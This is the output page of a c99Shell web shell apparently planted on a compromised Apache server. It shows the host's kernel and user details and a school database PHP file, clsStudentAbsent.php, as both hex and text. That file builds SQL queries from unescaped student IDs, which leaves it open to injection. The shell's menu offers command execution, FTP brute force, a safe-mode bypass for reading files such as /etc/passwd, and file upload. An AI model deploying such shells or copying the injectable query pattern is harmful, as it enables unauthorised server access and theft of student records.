!c99Shell v. 1.0 pre-release build #16!

Software: Apache/2.2.3 (CentOS). PHP/5.1.6 

uname -a: Linux mx-ll-110-164-51-230.static.3bb.co.th 2.6.18-194.el5PAE #1 SMP Fri Apr 2 15:37:44
EDT 2010 i686
 

uid=48(apache) gid=48(apache) groups=48(apache) 

Safe-mode: OFF (not secure)

/var/www/html/manage_22222/class/   drwxr-xr-x
Free 52.34 GB of 127.8 GB (40.96%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     clsStudentAbsent.php (907 B)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
Information:
Path /var/www/html/manage_22222/class/clsStudentAbsent.php
Size 907 B
MD5 661fa741665f5cb76963e79ed91ddc3d
Owner/Group root/root
Perms-rw-r--r--
Create time 06/07/2011 01:44:08
Access time 31/07/2024 00:57:05
MODIFY time 21/08/2009 09:42:07

FULL HEXDUMP
00000000
00000018
00000030
00000048
00000060
00000078
00000090
000000A8
000000C0
000000D8
000000F0
00000108
00000120
00000138
00000150
00000168
00000180
00000198
000001B0
000001C8
000001E0
000001F8
00000210
00000228
00000240
00000258
00000270
00000288
000002A0
000002B8
000002D0
000002E8
00000300
00000318
00000330
00000348
00000360
00000378
3C 3F 70 68 70 0A 2F 2F 2D 2D 43 6C 61 73 73 20 53 74 75 64 65 6E 74 41
62 73 65 6E 74 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D
2D 2D 2D 2D 2D 2D 2D 0A 0A 69 6E 63 6C 75 64 65 5F 6F 6E 63 65 20 22 63
6C 73 62 61 73 65 5F 53 74 75 64 65 6E 74 41 62 73 65 6E 74 2E 70 68 70
22 3B 0A 0A 63 6C 61 73 73 20 53 74 75 64 65 6E 74 41 62 73 65 6E 74 20
65 78 74 65 6E 64 73 20 62 61 73 65 5F 53 74 75 64 65 6E 74 41 62 73 65
6E 74 20 7B 0A 0A 66 75 6E 63 74 69 6F 6E 20 52 53 53 74 75 64 65 6E 74
41 62 73 65 6E 74 42 79 53 74 49 64 28 24 73 74 49 64 29 7B 0A 09 24 74
68 69 73 2D 3E 53 65 74 51 75 65 72 79 28 22 73 65 6C 65 63 74 20 2A 20
66 72 6F 6D 20 53 74 75 64 65 6E 74 41 62 73 65 6E 74 20 77 68 65 72 65
20 73 74 75 64 65 6E 74 49 64 3D 27 24 73 74 49 64 27 20 6F 72 64 65 72
20 62 79 20 61 63 61 64 59 65 61 72 2C 20 64 61 74 65 46 72 6F 6D 22 29
3B 0A 7D 0A 0A 66 75 6E 63 74 69 6F 6E 20 47 65 74 4E 65 78 74 53 65 71
42 79 53 74 49 64 28 24 78 4B 65 79 29 7B 0A 09 24 74 68 69 73 2D 3E 53
65 74 51 75 65 72 79 28 22 73 65 6C 65 63 74 20 6D 61 78 28 73 65 71 75
65 6E 63 65 49 64 29 20 61 73 20 6E 75 6D 20 66 72 6F 6D 20 53 74 75 64
65 6E 74 41 62 73 65 6E 74 20 77 68 65 72 65 20 73 74 75 64 65 6E 74 49
64 3D 27 24 78 4B 65 79 27 22 29 3B 0A 09 69 66 20 28 24 72 65 73 75 6C
74 3D 24 74 68 69 73 2D 3E 47 65 74 52 65 73 75 6C 74 28 29 29 20 7B 0A
09 09 72 65 74 75 72 6E 20 24 72 65 73 75 6C 74 5B 27 6E 75 6D 27 5D 2B
31 3B 0A 09 7D 0A 7D 0A 0A 66 75 6E 63 74 69 6F 6E 20 52 53 53 74 75 64
65 6E 74 41 62 73 65 6E 74 42 79 53 74 49 64 41 6E 64 47 45 41 64 59 28
24 73 74 49 64 2C 20 24 61 64 59 29 7B 0A 09 24 74 68 69 73 2D 3E 53 65
74 51 75 65 72 79 28 22 73 65 6C 65 63 74 20 2A 20 66 72 6F 6D 20 53 74
75 64 65 6E 74 41 62 73 65 6E 74 20 0A 09 09 09 09 09 09 77 68 65 72 65
20 73 74 75 64 65 6E 74 49 64 3D 27 24 73 74 49 64 27 20 61 6E 64 20 61
63 61 64 59 65 61 72 3E 3D 27 24 61 64 59 27 20 0A 09 09 09 09 09 09 6F
72 64 65 72 20 62 79 20 61 63 61 64 59 65 61 72 2C 20 64 61 74 65 46 72
6F 6D 22 29 3B 0A 7D 0A 0A 66 75 6E 63 74 69 6F 6E 20 52 53 53 74 75 64
65 6E 74 41 62 73 65 6E 74 42 79 53 74 49 64 41 6E 64 4C 54 41 64 59 28
24 73 74 49 64 2C 20 24 61 64 59 29 7B 0A 09 24 74 68 69 73 2D 3E 53 65
74 51 75 65 72 79 28 22 73 65 6C 65 63 74 20 2A 20 66 72 6F 6D 20 53 74
75 64 65 6E 74 41 62 73 65 6E 74 20 0A 09 09 09 09 09 09 77 68 65 72 65
20 73 74 75 64 65 6E 74 49 64 3D 27 24 73 74 49 64 27 20 61 6E 64 20 61
63 61 64 59 65 61 72 3C 27 24 61 64 59 27 20 0A 09 09 09 09 09 09 6F 72
64 65 72 20 62 79 20 61 63 61 64 59 65 61 72 2C 20 64 61 74 65 46 72 6F
6D 22 29 3B 0A 7D 0A 0A 7D 20 2F 2F 2D 2D 45 6E 64 20 63 6C 61 73 73 20
53 74 75 64 65 6E 74 41 62 73 65 6E 74 2D 2D 0A 3F 3E 0A
<?php //--Class StudentA
bsent-------------------
-------  include_once "c
lsbase_StudentAbsent.php
";  class StudentAbsent 
extends base_StudentAbse
nt {  function RSStudent
AbsentByStId($stId){  $t
his->SetQuery("select * 
from StudentAbsent where
 studentId='$stId' order
 by acadYear, dateFrom")
; }  function GetNextSeq
ByStId($xKey){  $this->S
etQuery("select max(sequ
enceId) as num from Stud
entAbsent where studentI
d='$xKey'");  if ($resul
t=$this->GetResult()) { 
return $result['num']+
1;  } }  function RSStud
entAbsentByStIdAndGEAdY(
$stId, $adY){  $this->Se
tQuery("select * from St
udentAbsent   where
 studentId='$stId' and a
cadYear>='$adY'   o
rder by acadYear, dateFr
om"); }  function RSStud
entAbsentByStIdAndLTAdY(
$stId, $adY){  $this->Se
tQuery("select * from St
udentAbsent   where
 studentId='$stId' and a
cadYear<'$adY'   or
der by acadYear, dateFro
m"); }  } //--End class 
StudentAbsent-- ?> 

HEXDUMP: [Full] [Preview]
Base64:
[Encode [+chunk [+chunk+quotes [Decode


:: Command execute ::

Enter:
 
Select:
 

:: Shadow's tricks :D ::

Useful Commands
 
Warning. Kernel may be alerted using higher levels
Kernel Info:

:: Preddy's tricks :D ::

Php Safe-Mode Bypass (Read Files)

File:

eg: /etc/passwd

Php Safe-Mode Bypass (List Directories):

Dir:

eg: /etc/

:: Search ::
  - regexp 

:: Upload ::
 
[ Read-Only ]

:: Make Dir ::
 
[ Read-Only ]
:: Make File ::
 
[ Read-Only ]

:: Go Dir ::
 
:: Go File ::
 

--[ c999shell v. 1.0 pre-release build #16 Modded by Shadow & Preddy | RootShell Security Group | r57 c99 shell | Generation time: 0.0107 ]--